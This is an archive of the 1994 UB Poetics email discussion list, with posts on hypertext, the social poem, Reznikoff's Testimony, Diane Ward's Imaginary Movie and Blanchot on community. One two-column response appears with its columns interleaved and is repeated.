Over the core of the month, the drawing was first a face, then two masques, then a tough rock and a fist.

Meanwhile, I think about writing into this print & manage only to print back wards in water based crayon two things:

"with"

&

"girl in winter"

which is all I have time for & all I know.

This is my way of taking up Joe's curiosity about hypertext and unexpected *material* form.

I don't think that electronic forums take care of the slow operations of living. There is a kind of reverse nostalgia that maybe we could keep track of what we know or say because of a technological frontier. Do not think that I am, however, willing to do away with it. I am avid about a relationship to stringent conversation by way of the keyboard, by way of e-mail.

This is my way of taking up Joel's careful urge to define a "text" as a way to get to an understanding of "hypertext." (He uses Greek epic cycles, James Joyce...as possible ways to understand the concept of "hypertext" which I am not addressing per se). I am defining a text & it's "material" both in terms of how a particular text is made, physically and where the text/image might come from, experientially. In terms of "wandering free in a field of unrestricted text" and whether SearchEngine changes our concept of "reading" hence "writing" I would say:

Yes.
No.

Yes, SearchEngine changes one's awareness thus, access to textual (written) information and must change how one would read through it.

No, SearchEngine does not change your awareness thus access to understanding the (written) textual information nor will it change our capacity to reply.

I believe one's "awareness" and one's ability to "speak about" or "draw about" what one knows and learns are skills which are developed not because of electronic

space but because of what one seeks, or bumps into. Not to say that one couldn't have all of one's serious physical, intellectual, artistic experiences on, in SearchEngine, that is surely to come, but that one does not figure things out, survive because of the speed of and the mere availability of information.
From: IN%"[redacted]" "UB Poetics discussion group" 4-FEB-1 994 15:46:01.37

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6. Charles Bernstein
subject/object/philosophy/lyric impulse
Fri 4 Feb 1994

Marc Christensen, the editor of the Wayne Literary Review, from Wayne State in Detroit, writes that he is looking for work for a special Summer 1994 issue (dealine May 1): "Theory poetics art culture": "quality creative writing needed which aspires towards an effacement, blurring, or subversion of the subject/object relationship between theory and art." (He mentions that he first saw my work in a 1991 issue of Meanjin, the Australian magazine, in a section edited by Sigi Jottkandt, now at UB & on this list.) Write Marc Christensen at Wayne Literary Review, WSU Dept. of English, 51 West Warren, Detroit MI 48202.

Henry Weinfeld called to say that he and Stephen Fredman are editing a special issue of Sagetrieb on the intersection of the lyric and philosophical impulses in 20th century poetry. They are looking at proposals for through the spring. Both are at Notre Dame. From: IN%"[redacted]" "UB Poetics discussion group" 5-FEB-1 994 17:42:48.72

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7. Joe Amato
RE: the book arts
Fri 4 Feb 1994

---

katie [i am most comfortable in lowercase] i take you to mean text-from-life as blood-from-stone...

to which: yes, the sensitivities we develop to a medium are not simply a function of the medium... the transparencies (historically, palpably) associated with media perhaps one of the places to draw out latent structures (that, i would think, are correlative to metabolic impulses---but this reveals a certain body-centered aesthetic to which i am predisposed)...

that is, i find it difficult to construct a 'complete' account of my work 'with' or 'through' corresponding 'material' simply because i'm not certain that i necessarily engage (setting aside the more conscious deliberations of craft) in a conscious processing of same, or in a quasi-conscious forgetting of the 'stuff' at hand (as in this last poorly constructed example, the little noninklings ' ' serving to introduce self-consciousness into my ruminations)... there is some empirical work (wish i could remember where at the moment) to indicate that 'getting lost' in the flow, so to speak, is ultimately beneficial to creative processing... but of course this doesn't begin to address what sorts of "objects" we wish to objectify (and what sorts of subjects correspond thereto)...

to some extent, to argue from mediation (much as from design) represents a residual form/content dualism... that is, to the extent that we read-write 'through' a given medium (i.e., as a mediator) to a presumed experience-construction of content that is somehow exhausted-(or, worse)"explained" in such terms... that is, without content-of-the-form interference, seamlessly...

but your post concludes on the related, perhaps more pressing issue of survival in an age of information... hence opening to the question of what sorts of experiences we might wish to have not so much out of regard for aesthetic taste (itself socially-situated), but for signifying practices that speak to our more urgent places in time(s)... and here, i think, is where the tendency in many circles to view something like hypertext as simply 'facilitating' a more 'interactive' response to 'knowledge production' (those cursed little marks again, drats!) appears a bit naive...

i mean, hypertext is not necessarily going to make anything, incl. life, any easier... i look to it to provide a more complex representation (yes, even mimetically) of how meaning/knowledge emerges from information flows... alternatively, possibly, to help think our way out of the information metaphysics this culture would seem to be so caught up in... hence perhaps to open to a renewed appreciation of contingency (and associated ambiguities), the temporal dimension proper, that underwrites all (mortal) practice (ssorry for any new age intimation)... but hypertext is simply one aspect of an emerging network of new networks, all of which augur, most importantly for me, the possibilities (and associated limitations) of alternative communities (of writers, citizens, etc)...

as you so eloquently suggest, what happens to the page in the midst of these (potentially social) changes will probably be less a matter of emphasizing any material method per se than a consequence of how we learn to survive and seek out together...

joe
From: IN%"[redacted]" "UB Poetics discussion group" 4-FEB-1
994 15:51:47.44

↑ Index

8. Benjamin Friedlander
"*allowing to sound*"
Sat 5 Feb 1994

Pardon my abstracting from Patrick's long message on Diane Ward the following passage. The message was addressed in particular to an unnamed interlocutor but was distributed to all of us on the poetics list. I deleted one set of statements from within the passage (marked below by ellipses within brackets) becauses I didn't quite understand what Patrick was saying and because the technical character of those statements seemed to derive from the "reading" of Diane Ward's *Imaginary Movie*--a book I don't know-- and so I was unsure how relevant they are to a discussion of poetry and poetics in general. And I put the word reading in quotes only because of what Patrick himself says, that is:

I don't "read" this text so much as allow it to sound
out its own cultural relevance. This is not as passive
as it may seem. This sounding invites a text which is
an "imaginary form" which insists [**on what? here is
where i begin to lose track--b.f.**] no matter how
digruntled I may become with the way the text sits on
the page.[**...**] This is the level of engagement.
This is personal, it is ideological, it is social. You
mention the social as a field of intervention. So
often, even [**but why "even"?**] in O'Hara and
Reznikoff, I feel the poem is a description of
something material, a personalization which elementizes
some margin running the gamut from imprisonment (I as
the disenfranchized interlocutor of poetic/cultural
condition) to oration (I as arbiter of the imaginary
condition). This field of intervention I often find
less entreating...

I'll cut it off there because the other half of the sentence refers to the statements I deleted.

I return to this message because I would like to take issue with what I take to be an analogy Patrick is drawing between the two sides of two different distinctions. On the one hand, between reading a text and allowing it to sound

(with the implication being that the latter discovers a world of discussion and interaction unavailable to the former); on the other, between two conceptions of the social poem, one that seems performative (Diane Ward), the other linked to modes of representation (O'Hara and Reznikoff). Unstated as such but governing Patrick's remarks (or so I believe) is the twin association of (1) "reading" with "representation" and (2) "allowing to sound" with "performance." Is that correct?

My reconstruction of the argument is necessarily hazy because I'm unsure what this "allowing to sound" actually consists in, and I'm also unsure what sort of social engagement this "allowing to sound" engenders.

I'm all for the discovery of new modes of reading, and for rich phenomenologically tinged accounts of how the poem solicits the reader's attention. I only recently re-read Nick Piombino's essays from *L=A=N=G=U=A=G=E* magazine and was struck with the depth and beauty of what he describes. His work in that area has not been taken up and I dare say a critical practice that took Nick's theories of reading as its starting point would look different than anything presently being practiced. My problem in the present context is with the promotion of a certain sort of text and a certain sort of "reading" that defines itself by disparaging reading as such. To disavow reading would seem to me to dictate the terms on which the text can be approached. Speaking as a reader, my inclination is to cry foul. Also, however, I wonder what the actual value of this "allowing to sound" can be if it is only applicable to one kind of poem. If it's impossible, for instance, to allow O'Hara's poetry or Reznikoff's "to sound," I wonder if the social engagement discovered in *Imaginary Movie* is not MORE rather than LESS restrictive.

But these are simply questions that point to a need for clarification. My other interest in all this is more pedestrian: What is the social poem? What ideas about the social poem do we entertain without reflection, and where do we see poets working to articulate newer or deeper ideas about poetry and society?

Patrick mentioned that he is teaching Diane Ward's work and that his musings were inspired by that. By a strange coincidence, my own teaching takes me to a similar line of thinking. I gave my students Langston Hughes's essay "My Adventures as a Social Poet" (from the recently reprinted collection *Good Morning Revolution*). In the coming weeks I'll be trying to figure out how best to teach them Charles Reznikoff's *Testimony*, which in my opinion is a profoundly complex text, not at all a simple collection of voices and stories. After Reznikoff I'm taking up texts that are not poetry, but at the very end of the semester I"m going to try to incorporate Alice Notley's poem "White Phosphorus" (from her book *Homer's Art*) in a more general and historical account of the Vietnam War.

Anyone else working in this area? Any thoughts?

Ben Friedlander
From: IN%"[redacted]" "UB Poetics discussion group" 5-FEB-1
994 23:22:52.83

↑ Index

9. Juliana Spahr

RE: "allowing to sound"

Sat 5 Feb 1994

Ben, I too was bothered by the separation of reading and sounding but felt it might be more just another example of the semantic confusion that seems to take over net discussions. (restrictive editing seems to have a direct relation to vocabulary confusions) in these discussions) But I like the larger question of where these take us--how does sounding allow reading; how reading sounding. I think you are right--Piombino is the place to look. Also Dahlen and Howe and at times the essays of Andrews.drews.

But it is your question of what is the social poem that provoked me to finally reply to something on this list. I think the answer is the poem is the social poem. But that is my easily dismissed anti-Adorno (and the rest) optimism speaking that I've finally accepted because the whole thing doesn't seem like it is worth much without it. I liked your teaching narrative mainly because I think I am using a similar area of concern to direct my class--moving from Heart of Darkness to bell hooks' "narratives of struggle" to a study of contrasts between Cullen's "Heritage" and Lindsay's "The Congo" and Hughes "Weary Blues" and Smith's "It A Come" to Apocalypse Now and the accompanying apparatus to Erica Hunt's "Notes for an Oppositional Poetics" to Teresa Hak Kyung Cha's "Dictee" to Leslie Scalapino's "Waking Life." I am trying to examine in just he most basic levels--what is testimony or struggle or opposition.

This has been in some ways the major question of the poetry of the 70s (it might get its most reductive play in the often drawn contrast between the work of Adrienne Rich and the work of, say, Nicole Brossard; Rich seen as the necessity of a narrative and standardized diction for political purposes, Brossard as the necessity for rewriting the language). We all know these arguments. But in some ways they weren't really answered (or at least I feel that way; I am still

confused if it necessary to start with the assumption of
a standard in order to articulate a right, or a document
of rights). S

So I am wondering how these issues play out for others, especially
in the context of the classroom (which is in some ways a
testing ground). I am wondering where others locate the
political assumptions of poetry. I am wondering how others
fit the aesthetic and social concerns of theorists such
as Brecht, Adorno, or more recently, Jameson's call for
mapping the postmodern into the poetic. And I am wondering, Ben,
whether you think I have done a great disservice to your word
"social" by merging it with my vague "political."

Juliana Spahr
From: IN%"[redacted]" "UB Poetics discussion group" 6-FEB-1
994 13:16:26.77

↑ Index

10. William R Howe
RE: the book arts
Sun 6 Feb 1994

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in response to joe's comment that he feels *most comfortable in lower case* i
find it interesting to note that most computer systems are completely case
insensitive (meaning they make no distinctions between lower and upper case).
this is only changed by the applications that we choose to run on them
(especially higher order applications that have been designed for a maximum of
user- friendly bells and whistles). We on the other hand are very aware of the
fact of cases. We use cases to clue us into various kinds of syntax. case then
becomes a kind of covert linguistic organization that we are blind to as long as
it is present, but as soon as the rUles of caSe iNteGrity haVe been ruptUred wE
Become awaRe oF case. And, it is at times like this that we realize that lower
case letters and upper case letters not only look different on the page but mean
differently as well.

Bill Howe
From: IN%"[redacted]" "UB Poetics discussion group" 7-FEB-1
994 22:31:52.46

↑ Index

11. Benjamin Friedlander
the social poem
Mon 7 Feb 1994

Juliana, first of all, no, your merging of "social" and "political" doesn't do me a disservice. I admit I was impressed last year when Tom Loebel told me the two are quite distinct-- impressed though I myself am hopelessly confused about the difference. Tom I guess had in mind a technical distinction that holds sway in political science (which I believe is what he studied before switching to English), but of course readers and writers of literature don't always recognize that distinction. (Langston Hughes, for instance, in his "Adventures as a Social Poet," speaks of social *and* political issues--about poverty and about being black in America, but also about the Scottsboro boys, about segregation.)

Nevertheless, the very *possibility* of a distinction has proven useful. By speaking of the "social" poem, for instance, I would evade some of the cant that collects around the word "political." Also, I hope by returning to a vocabulary that emphasizes the documentary over the activist to reexamine some of our prejudices *against* the documentary (what you were referring to as "the often drawn contrast between the work of Adrienne Rich and the work of, say, Nicole Brossard; Rich seen as the necessity of a narrative and standardized diction for political purposes, Brossard as the necessity for rewriting the language"). For both those reasons I tend to prefer, like Langston Hughes apparently, to use the word social to refer to both the social and political, rather than using the word political to refer to the political and social (the latter choice being much more common these days-- perhaps why you referred to the social as "my" word).

Second, as far as teaching is concerned (and I'm still such a novice at this, still so easily surprised at how quickly my constructions of the classroom can collapse, that I hesitate to offer this, but...), I seem to be moving toward a course similar to yours. Like you, I'm asking my students "what is testimony or struggle or opposition," and trying to do so (since the class is *composition*) by engaging them "at just the most basic levels."

I've tried to organize the class around two overlapping sets of questions. (1) What does it mean to speak for "a people"? How is that different than speaking for yourself? Where do the two tasks intersect and where do they part company? (Here the principal texts are *Testimony* and *The Souls of Black Folk*.) (2) What does it mean for a writer to take music as a model for writing? (*The Souls of Black Folk* and DuBois's emphasis on "the sorrow songs.") What does it mean if the writer's words are not his or her own, or if they're modeled on the language of the courts? (Reznikoff's *Testimony*.)

Because I prize all the texts I'm teaching, I'm hoping (for myself--*forget* the students here!) not only to discover what the resources of the so-called "social"

poem ARE, but to illuminate these resources as a continuum of values, not a set of mutually exclusive choices (here is where my students really do enter the picture--can I somehow escape my own didacticism in order to make these choices available to them?). Isn't the subtext of the "often drawn contrast" between Brossard and Rich an attempt to proscribe certain forms of writing? And what kind of task is that? I mean, I love Nicole Brossard's work, but doesn't the sanctimoniousness of the sheer *use* of that work to criticize another's make you want to prefer Adrienne Rich? (And isn't that contrary preference the very essence of an oppositional poetics!) This seems to be a little of what was at stake in the upholding of Diane Ward as versus O'Hara and Reznikoff.

Ben F.
From: IN%"[redacted]" "UB Poetics discussion group" 7-FEB-1
994 23:18:47.88

↑ Index

12. Kenneth Sherwood
RE: the social poem
Mon 7 Feb 1994

Ben et al,

Your musings on the social-in-the-political and the political-in-the- social help distill the my muddy thoughts of earlier today. As if the terms could be discrete at all, the 'political' has taken a particular resonance, popularly. Isn't to call one's poems social as over 'political' to propose that they are not overtly functional (as with propoganda), or rather, not purely concerned with overt political effect (since by such measure our most purportedly political poems fall ineffectual) but with a double burden?

How to call that double burden, how shoulder it? Perhaps I invest too much in your preference for the one word; I imagine claiming "social" for my own poetry in hopes that its fact of being, my activity in arranging its language, bringing it before a public in various manners implictly renders it a social act. And here I suppose I've so sullied the word it designates but sense of ripples on the surface after sinking.

What of my reliance on 'hope'.

KS
From: IN%"[redacted]" "UB Poetics discussion group" 8-FEB-1
994 13:30:29.26

↑ Index

13. Patrick Phillips
The Socio-political Ward
Tue 8 Feb 1994

The responses to my post have generated several questions circling the issue of "reading" as *opposed* to "sounding". They have also pointed to a tendency toward a lexical pile-up in my writing. I'd like to unpack some of my person to person considerations so that they may be more easily approached by a wider audience. I should say that I had initially sent my reflection on "Imaginary Movie" to one person in response to some of his questions and perhaps it was unfair to throw this on the List without some attention to detail. I also wish to see if I can give a sense of what I find social and political about reading around IM and "this kind" of text.

As to "I don't 'read' this text so much as allow it to sound out its own cultural relevance," "sound" was primarily used to contrast a broad field of effects with "read" which in my response to the "unnamed interlocutor" referred to a once-through oral reading which was ultimately unsatisfying for him. There is, as Ben points out, a disparagement of reading here, but one which doesn't so much devalue reading as place it in a broad relationship with the imaginary. "Sound" was a con-fusion of effects for me (and for others) - a pun attending to the metaphor of movie, an attempt to allude to a sonar-like (non-visual) means of finding the depth of a text's cultural reference, and a wish to find a measure of intention, or of what utility the imaginary is when "reading" such references. These three characteristics of the rather unstable, and somewhat tired "sound" helped me locate the text and the imaginary in a larger matrix than "read." "Reading" still remains an area of contention. I'll drop "sound" because it has a bad ring to it.

As this idea of reading and sounding may relate to Piombino's "Writing and Imaging," my interest is to "parse" not the "symbolic value of images", but the *social* value of the "after-images" I find in reading "Imaginary Movie." These are subtle, but valuable distinctions which I think may help get to how the text is for me is ideological and thereby social and poitical.

The distinction between image and after-image is made by Piombino as a kind of "shadowing" -- "the image layered on and under, like the creation of an aproximate sign." What I find so compelling about *Imaginary Movie* is Ward's use of these "approximate signs." These after-images layered on and under a textual and imaginary horizon induce a soft focus between these lines. Ultimately I am interested in what these after-images *do*, how they interact and what is induced in the "reader" through this interaction. To say the text is comprised of after-images, not signs, but the collusion of approximate signs, promotes an idea of text more like an idea of imagination. Through the blurring

of the distinction between language and a cultural imagination the text becomes, or aspires to, a visual representation of the imagination, an "imaginary movie." A reading becomes a viewing, a mix of motivated participation, reading as in "I read you," and unmotivated participation, a mind's-eye view. What is key for me here is that this view does not consist of a "visual field" per se, that there is no object which occupies our retina, either elemented as word, or as imaginary object. There is nothing in our experience that is surrounded by nothing, wholly marked off and distinct. Or, as Merleau-Ponty says, a "visual field is not made up of limited views." Reading urges a participation in fields of reference which are limited views. Viewing has little of the demarcation reading requires, either in the viewed or the viewer.

To a larger experiential condition, I can testify that I have not read IM in five or six days. In spite of lapse, I am always remembering, always suffused with the elements of its experience, the viewings that Imaginary Movie clipped for me. From this experience I sense no distinct visual fields. The sexual takes place within the technological, the value of the economic within the exchange of testament. This, whatever it demonstrates for me, is social. It too takes place in this unframed field of aproximate signs, of after-images, of the *means* toward communication and of the un-ending *ends*. What is instrumental for me here is that it is not the poem which foments the condition, but the experience that foments the poem. The induction into the functional resistance that awareness builds is social, as evidenced in some small way by my attempts to make it so through letters and postings. It's often difficult to go back and forth between experience and culture this way with poetry that is declarative. I just now opened up "Testimony" into the "South" to a terrible child beating and I must say that family terror has a cultural oscillation we all continually suffer. I was quite uncomfortable with this portrait. Nonetheless what is the difference between this portrait of family violence and that on "911" except for the difference between exhortation (Reznikof) and expoloitation (911). (I am not ridiculing Reznikof here!) My initial *reflection* was the horror of the "Die, God damn you!" And then I reflected on the reflection itself, something I cannot wholly do//separate in the experience of IM.

Finally, it *is* the reading, the response to the references in words like technology, "Industrial Hygene," in concepts of exchange and power, violence and sexuality, which is important in politicizing this social text. For me it is the ideology which contorts the reference enough for there to be a soft edge, a value placed upon the after-images so that these approximate signs are motivated. The conditions of culture here become their own critique and thereby our experience, our bodily experience maintains a level of this critique. By and in this there is a politicization of experience, which for me drops away at the moment of reflection. Reflection here is a kind of sustained being, this is

what I meant when I said Imaginary Movie insists. To suggest in what it insists would entail this kind of explaination, or something more. One last thing. In my class, there were several different connotations of "poiltical" which proved stumbling blocks, or at least obstacles for definition. Here I want to suggest that the motivation of the imaginary beyond reflection and into some level of sustainable critique is of itself politcal. *Imaginary Movie* accomplishes this for me.

Patrick
From: IN%"[redacted]" "UB Poetics discussion group" 9-FEB-1
994 15:09:07.33

↑ Index

14. Joe Amato
RE: the social poem
Wed 9 Feb 1994

All: I find Susan Stewart's brief essay in *Profession 93*, "The State of Cultural Theory and the Future of Literary Form," to be pertinent to the issues being discussed hereabouts (Andy Levy brought it to my attention)... It's pretty dense, but it raises some provocative questions, e.g., whether a reexamination of the lyric (of aesthetic form in general) might help to produce a more "dynamic and concrete avenue of activism" for intellectuals looking "to diversify literary representation under the rubric of multiculturalism"...

Joe
From: UBVMS::V139HLA3 9-FEB-1994 18:54:22.99
To:CHARLES
CC:V139HLA3
Subj: improved blanchot response

Response to Blanchot's _The Unavowable Community_

Last week Ron Silliman gave a paper to Joan's seminar using metaphors of superconductor conductivity and electrical resistance to explore the "polylexic" of poetry and community. These two metaphors took off on their own while "community" and "poetry" got lost somewhere in the traditional prose. Two things: I was apprehensive: it seems "poetry" and "community" were made to fit, or even forced into the literary convention of the metaphors -- no matter how skillfully they were deployed (and they were) I was unsettled; the metaphors got us no closer to what was at issue -- nothing was learned about community _or_ superconductors -- I wondered "what next?" and "more". My uneasiness with his talk made me suddenly apprehensive about mapping the structure of emedia onto Blanchot's meditation on community. "What's the use? What does it do?"

Self and community have a non
-reciprocal but mutual
dependency. The Self can only
feel its solitude in the absence
of community. In this way the
Self is made aware of community
in the presence of its lack. It The Net confirms community in
is solitary only in the the absence of community. Only
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Likewise, community is invoked user. When I sit in front of
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it any other way, in speaking it There is, at least for the
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impulse towards equality in the compatibility of the material
face of Self-Otherconduit of communication
relationships. (terminal, keyboards, drives,
memory blocks, etc.). But
The act of communicating isthere is really only
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"Community" cannot be spoken more the stranger than someone
with intent. Absence is neededyou can't see. Nothing is more
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content in the ecstacy of shared espace. Emedia is _absolute_
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work. "A law which presupposes exclusively _of_ absence.
community (an understanding or
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momentary accord of two singular a clear voice. And
beings, breaking with few words commodification of work(s),
the impossibility of Saying the valuing of labor in the
which the unique trait of measure of money feeds an

experience seems to contain; its inequality that makes a kind
sole content: to be of community utterable in the
untransmittalbe, which can be form of commerce. Information,
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of the untransmittable."(17) intellectual property law*],
ironically evades the commodity
Writing must be worklessness. community. It is hard to make
Writing is an action, a verb,it signify (money). In this way,
not a object; its noun form an information exchange (without
solidifies the community and the communal agreement, but with
for the sake of the community an ecstatic communication, or
must be banished. Blanchotjust ecstacy) is not valuable,
consoles: the object/writingbut is the basis of our
is "always already lost". ecommunity. _Nothing_ is
exchanged and our work ethic
Articulatable community produces chides us for it.
friendship and "Friendship calls
upon the community throughThe writing here is a non-
writing." But this friendship product. It is not consumed.
is only developed in drunkenness The action of writing, the
where "friends disavo[w] their solipsistic ecstacy in the act
previous friendship in order to of writing, is the democracy.
call upon *friendship* And from this emanates the grandiose
(camaraderie withoutdefence of access. Everyone can
preliminaries) vehiculated by and indeed _must_ be an author for
the requirements of being there". the sake of equality and the
When the familiar (ie. the denial of clarity. Graffiti in its
meaning), made so by agreement, self-assertion, in its *Saying as
supplants the unutterable, the all-important thing*, is the only
Blanchot experiences my real forerunner and the paradigm for
uneasiness. In the hurt that true democracy.
he cannot hide, he falls back
into his own textual trap. Yet truer equality is to come in
He resorts to naming and access to experience in only the most
idealization of the real.existential of contemporary ways. In
Virtual reality the Ideal is the perfect
This may inspire groans (or stand-in (not even a substitute)
yawns). It is cliche: "random for the real.... Why do we always
signifiers", "to reveal by smart a bit when the real is
not revealing", "absence is the supplanted? Is it the reduction
core". Need it be said that of experience? Is Violence again

they are necessarily done?
impossibilities (oxymoronic) in
their articulations in (yet my writing and your
language? In the end Blanchot reading is real. they are
almost warns of the spaces of experiential. a change in
"freedom" inbetween the workthinking about the real is needed.
and the unwork. And says they there is nothing virtual in my
carry with them (*signify*fingers on the keys, electrical
almost) "responsibilities" for resistance in silicon, or your
"new relationships". eyes on the monitor.

I want to ask "Where do we progress to from here?" "What comes next?" "What now?" What goes >>> HERE <<< ? There is a certain presumption in these questions, and in the word "new". *New* does not interest me, getting at the latent does, as does getting at our material relations to the things we have. Have I also exposed an attachment to the real?

From: IN%"[redacted]" "UB Poetics discussion group" 9-FEB-1 994 23:45:32.83

↑ Index

15. Martin Spinelli
Poetic Community
Wed 9 Feb 1994

From: UBVMS::V139HLA3 9-FEB-1994 18:54:24.07
To:CHARLES
CC:
Subject: Blanchot Response

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
some thoughts on what's been going on in this space and
reading Blanchot for the first time

i'd appreciate any ideas or suggestions.

-Martin
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

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for the sake of the community an ecstatic communication, or
must be banished. Blanchotjust ecstacy) is not valuable,
consoles: the object/writingbut is the basis of our
is "always already lost". ecommunity. _Nothing_ is
exchanged and our work ethic
Articulatable community produces chides us for it.
friendship and "Friendship calls
upon the community throughThe writing here is a non-
writing." But this friendship product. It is not consumed.
is only developed in drunkenness The action of writing, the
where "friends disavo[w] their solipsistic ecstacy in the act
previous friendship in order to of writing, is the democracy.
call upon *friendship* And from this emanates the grandiose
(camaraderie withoutdefence of access. Everyone can
preliminaries) vehiculated by and indeed _must_ be an author for
the requirements of being there". the sake of equality and the
When the familiar (ie. the denial of clarity. Graffiti in its
meaning), made so by agreement, self-assertion, in its *Saying as
supplants the unutterable, the all-important thing*, is the only
Blanchot experiences my real forerunner and the paradigm for
uneasiness. In the hurt that true democracy.
he cannot hide, he falls back
into his own textual trap. Yet truer equality is to come in
He resorts to naming and access to experience in only the most

idealization of the real.existential of contemporary ways. In
Virtual reality the Ideal is the perfect
This may inspire groans (or stand-in (not even a substitute)
yawns). It is cliche: "random for the real.... Why do we always
signifiers", "to reveal by smart a bit when the real is
not revealing", "absence is the supplanted? Is it the reduction
core". Need it be said that of experience? Is Violence again
they are necessarily done?
impossibilities (oxymoronic) in
their articulations in (yet my writing and your
language? In the end Blanchot reading is real. they are
almost warns of the spaces of experiential. a change in
"freedom" inbetween the workthinking about the real is needed.
and the unwork. And says they there is nothing virtual in my
carry with them (*signify*fingers on the keys, electrical
almost) "responsibilities" for resistance in silicon, or your
"new relationships". eyes on the monitor.

I want to ask "Where do we progress to from here?" "What comes next?" "What now?" What goes >>> HERE <<< ? There is a certain presumption in these questions, and in the word "new". *New* does not interest me, getting at the latent does, as does getting at our material relations to the things we have. Have I also exposed an attachment to the real? From: IN%"[redacted]" "UB Poetics discussion group" 10-FEB-1 994 10:41:25.17

↑ Index

16. Patrick Phillips
"911"
Thu 10 Feb 1994

Ben, I hope you see my point bout reflection concerning texts like "Testimony." On the other hand I have been reflecting on the social and cultural/ideological crossfire situated by Rezinkof's choice of "examples," his choice of line breaks, his use of language and have begun to wonder at what length we have to go to get to these cultural intersections that are quite different from the "experiential" brought to the fore in texts like IM. (I have a cold right now and don't have a lot of faith in the sense I'm making, so I hope this erads.) Anyhoo, the social currents instigated in "Testimony" come from a different place, exterior, as examples, yet they are pervasive; we have to go out to get at what's in. This movement also provides a motivated critique, but I'm not sure that it doesn't remain captured as in some amber, a specimin. I'm also not sure whether this virtual litho-graphy is not the way we process things anyway. The constant conundrum of speculative existence. Just to say, I'm not excluding the

variorum of experience, how we process dictum, how we think alike, how we take in the scene. From: IN%"[redacted]" "UB Poetics discussion group" 10-FEB-1 994 21:18:11.37

↑ Index

17. Benjamin Friedlander

RE: "911"

Thu 10 Feb 1994

Patrick, this is my first attempt to make use of the "reply" function of this system & to play with the so-called "chevrons"--I hope this doesn't go through all wampy-jawed. Anyway, with that proviso, let me try to address your last two posts. In "THE SOCIO-POLITICAL WARD" you say, to explain your preference for *Imaginary Movie* over *Testimony*, "It's often difficult to go back and forth between experience and culture this way [i.e., as you do "reading" Diane Ward's work] with poetry that is declarative." Leaving aside for the moment your characterization of *Testimony* as being "declarative," and leaving aside also the distinction between "experience" and "culture"--I think I agree in principle with both of those assumptions but find them too limited in practice--the point seems to be that the reader's options with regard to a critical engagement with *Testimony* are limited by the visceral impact of the work. Now, under the heading "911," you elaborate by writing:

>[...] I have been reflecting on the social and
> cultural/ideological crossfire situated by Rezinkof's choice of "examples,"
> his choice of line breaks, his use of language and have begun to wonder at
> what length we have to go to get to these cultural intersections that are
> quite different from the "experiential" brought to the fore in texts like
> IM. [...]
[...] the social currents instigated in
> "Testimony" come from a different place, exterior, as examples, yet they
> are pervasive; we have to go out to get at what's in. [...]

I gather you're saying that the complexity of Reznikoff's work (marked by the elaborate artistry of "choice," which hides as artlessness, the basic view of *Testimony* so far as I can tell from the little bit of the literature on it I've seen--Charles Bernstein's recent *Sulfur* essay being a notable exception) corresponds in some way with the elaborate "overlays" (as I believe you termed them) of Ward's *Imaginary Movie*. With this you're establishing an equivalence of sorts between the two--a safeguard in some way from the charge that you are disparaging Reznikoff--while preserving the distinction you insist on between a text based on the "interior" and one based on the "exterior." Am I reading you right? That the "social currents" of *Imaginary Movie* are

"instigated" (nice word!) from within, directed *at* the reader, who is the text's exteriority, while the social concern of *Testimony* somehow enters the poem (as if it wasn't there all along!) from this same place where the reader resides. I think you can see right away the problem I would have with that description of *Testimony*:

That the distinction between the outside and the inside of the poem doesn't hold up once you begin to speak of reference.

That the mechanics of this reference--by which I mean the poem's relationship with its exteriority--are not sufficiently explained in terms of "crossfire."

That the role of the reader as an *intelligence*, though it is assumed, is not explored. And that there can be no real understanding of reference without such an exploration.

That the very notion of "declarative" assumes a communication between individuals, and until we address the particular character of this communication in *Testimony* we will not progress very far in understanding just what sort of social concern this poem expresses.

That it is only by carefully observing how the poem utilizes *our* intelligence that we can begin to glimpse the intelligence of the poem itself (a formulation I prefer to, but for which you might substitute, the more vexed phrase "intention of the author").

What's noteworthy to me is that you have gone to great lengths to provide this sort of "testimony" (if I might put it so) to the process of reading Diane Ward's work, while relying in your characterizations of Reznikoff on more or less superficial impressions. I don't say this to knock you--not at all--I'm struck that even the best readers of *Testimony* (Milton Hindus, for instance), despite the evidence of their own research, offer what seem to me superficial descriptions of what *reading* Reznikoff requires. Here again Charles B's essay is an exception--and though I find his imputation of opacity with regard to Reznikoff's *language* to be a bit bizarre, what he says about prying *words* open does I think speak very cogently to the *composition* of Reznikoff's work. Well, let that hurried depiction of the essay stand for now.

Tried to get in tonight to hear Khalid Abdul Mohammad (the Nation of Islam guy) but they ran out of tickets. I'll let this drop here for now, go on to dinner. See ya-- Ben From: IN%"[redacted]" "UB Poetics discussion group" 11-FEB-1 994 17:10:33.93

↑ Index

18. cy6440%albnyvms.bitnet

Poetic Community

Fri 11 Feb 1994

Martin,

In your Blanchot Response you clearly outline my understanding of a brief entrance I made into "The Unavowable Community" which came about when Pierre Joris who translated this text moved to Albany to teach.

You touch in detail on some of the concerns I hold on to as I continue to participate in these virtual communities of oversensitive? or are we overlyInvolved readers of peers, teachers, & by consequence at times, close friends.

What we have in common is that we are taking our writing as our writing to one another SERIOUSLY.

One could consider in doing a kind of personal spreadsheet the extent to which one can r e a l l y speak thoroughly about what one is reading or writing TO s o m e o n e in a given {life}{time}.

What I notice in my own emulations, my "addresses" on the Net, is the bold arrogance which dominates as commotion: the hope that I have something to say to -----> & it is disturbing.

for ex to -----> you

Probably, I don't.
Probably,
"this is just to say"
"I'm sorry I ate...'your Blanchot Response'
"it was so cold & ..."

SO

to appreciate your "reading" - in particular your recognition of the "graffiti" (SELF- assertion), your skepticism about "democracy" in electronic writing, your willingness to take an almost (Feminist?) stance here & a minute to talk about how we talk here

My additional curiosity is about to whom we choose to reply to on the Net as well as why we talk in certain tropes = attitudes From: IN%"[redacted]" "UB Poetics discussion group" 11-FEB-1 994 20:12:12.32

↑ Index

19. Benjamin Friedlander
"*in time*"
Fri 11 Feb 1994

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keith waldrop cited or mis-cited or whatever by jean-luc nancy is old news. i've found something even stranger. there is a copy of robert kelly's *in time* (frontier press, 1971) in rodolphe gasche's office, alongside--speaking figuratively--robert heinlein's *i will fear no evil*, several many volumes of lukacs (in german and in english, all so pristine as to seem unopened, if not unread--but even that he *has* them is amazing), & what looks like a full run from the '70s of *tdr*. i mention only the more peculiar offerings of course. but for those who may be contemplating some version of "rudy's marginalia," i think this kelly connection may be significant. who said there was no poetry after mallarme?

b.f.
From: IN%"[redacted]" "UB Poetics discussion group" 12-FEB-1
994 11:26:12.14

↑ Index

20. Loss Glazier
rudy's marginalia
Sat 12 Feb 1994

